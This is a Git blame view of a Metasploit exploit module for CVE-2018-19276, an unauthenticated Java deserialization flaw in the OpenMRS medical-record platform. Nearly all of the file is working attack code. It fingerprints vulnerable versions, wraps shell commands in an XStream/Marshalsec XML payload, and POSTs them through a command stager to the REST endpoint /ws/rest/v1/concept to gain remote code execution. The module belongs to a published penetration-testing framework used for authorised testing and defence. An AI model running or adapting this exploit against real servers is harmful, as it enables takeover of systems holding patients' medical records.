Files
metasploit-gs/modules/exploits/multi/http/openmrs_deserialization.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

127 lines
4.4 KiB
Ruby
Raw Normal View History

2019-11-05 11:27:35 -06:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
2019-12-04 12:17:35 -06:00
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
2019-11-05 11:27:35 -06:00
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenMRS Java Deserialization RCE',
'Description' => %q(
2019-11-21 14:15:25 -06:00
OpenMRS is an open-source platform that supplies
users with a customizable medical record system.
There exists an object deserialization vulnerability
in the `webservices.rest` module used in OpenMRS Platform.
Unauthenticated remote code execution can be achieved
by sending a malicious XML payload to a Rest API endpoint
such as `/ws/rest/v1/concept`.
This module uses an XML payload generated with Marshalsec
that targets the ImageIO component of the XStream library.
Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
8 and Java 9.
2019-11-05 11:27:35 -06:00
),
'License' => MSF_LICENSE,
'Author' =>
[
2019-11-21 14:15:25 -06:00
'Nicolas Serra', # Vuln Discovery and PoC
'mpgn', # PoC
'Shelby Pace' # Metasploit Module
2019-11-05 11:27:35 -06:00
],
'References' =>
[
[ 'CVE', '2018-19276' ],
[ 'URL', 'https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607' ],
2019-11-21 14:15:25 -06:00
[ 'URL', 'https://know.bishopfox.com/advisories/news/2019/02/openmrs-insecure-object-deserialization' ],
2019-11-05 11:27:35 -06:00
[ 'URL', 'https://github.com/mpgn/CVE-2018-19276/' ]
],
2019-12-04 12:17:35 -06:00
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
2019-11-05 11:27:35 -06:00
'Targets' =>
[
2019-11-20 15:29:33 -06:00
[ 'Linux',
{
2019-12-04 12:17:35 -06:00
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => [ 'unix', 'linux' ],
'CmdStagerFlavor' => 'printf'
2019-11-20 15:29:33 -06:00
}
]
2019-11-05 11:27:35 -06:00
],
2019-12-02 15:25:52 -06:00
'DisclosureDate' => '2019-02-04',
2019-11-05 11:27:35 -06:00
'DefaultTarget' => 0
))
register_options(
[
2019-11-20 15:29:33 -06:00
Opt::RPORT(8081),
OptString.new('TARGETURI', [ true, 'Base URI for OpenMRS', '/' ])
2019-11-05 11:27:35 -06:00
])
end
def check
2019-11-06 12:40:45 -06:00
res = send_request_cgi!('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown("OpenMRS page unreachable.") unless res
2019-11-21 14:15:25 -06:00
return CheckCode::Safe('Page discovered is not OpenMRS.') unless res.body.downcase.include?('openmrs')
2019-11-06 12:40:45 -06:00
response = res.get_html_document
version = response.at('body//h3')
return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version && version.text
version_no = version.text
version_no = version_no.match(/\d+\.\d+\.\d*/)
2019-11-06 12:40:45 -06:00
return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version_no
2021-02-17 12:33:59 +00:00
version_no = Rex::Version.new(version_no)
2019-11-06 12:40:45 -06:00
2021-02-17 12:33:59 +00:00
if (version_no < Rex::Version.new('1.11.8') || version_no.between?(Rex::Version.new('2'), Rex::Version.new('2.1.3')))
2019-12-03 14:50:04 -06:00
return CheckCode::Appears("OpenMRS platform version: #{version_no}")
end
2019-11-06 12:40:45 -06:00
CheckCode::Safe
2019-11-05 11:27:35 -06:00
end
2019-11-20 15:29:33 -06:00
def format_payload
2019-12-03 12:24:33 -06:00
payload_data = payload.encoded.to_s.encode(xml: :text)
2019-11-20 15:29:33 -06:00
payload_arr = payload_data.split(' ', 3)
2019-12-03 12:24:33 -06:00
payload_arr.map { |arg| "<string>#{arg}</string>" }.join.gsub("'", "")
2019-11-20 15:29:33 -06:00
end
def read_payload_data(payload_cmd)
2019-11-21 14:15:25 -06:00
# payload generated with Marshalsec
2019-11-20 15:29:33 -06:00
erb_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-19276', 'payload.erb')
payload_data = File.binread(erb_path)
payload_data = ERB.new(payload_data).result(binding)
rescue Errno::ENOENT
fail_with(Failure::NotFound, "Failed to find erb file at the given path: #{erb_path}")
end
2019-12-04 12:17:35 -06:00
def execute_command(cmd, opts={})
cmd = cmd.encode(xml: :text)
xml_data = "<string>sh</string><string>-c</string><string>#{cmd}</string>"
2019-11-20 15:29:33 -06:00
rest_uri = normalize_uri(target_uri.path, 'ws', 'rest', 'v1', 'concept')
payload_data = read_payload_data(xml_data)
send_request_cgi(
'method' => 'POST',
'uri' => rest_uri,
'headers' => { 'Content-Type' => 'text/xml' },
'data' => payload_data
)
end
2019-11-05 11:27:35 -06:00
def exploit
2019-12-04 12:17:35 -06:00
cmds = generate_cmdstager(:concat_operator => '&&')
print_status('Sending payload...')
cmds.first.split('&&').map { |cmd| execute_command(cmd) }
2019-11-05 11:27:35 -06:00
end
end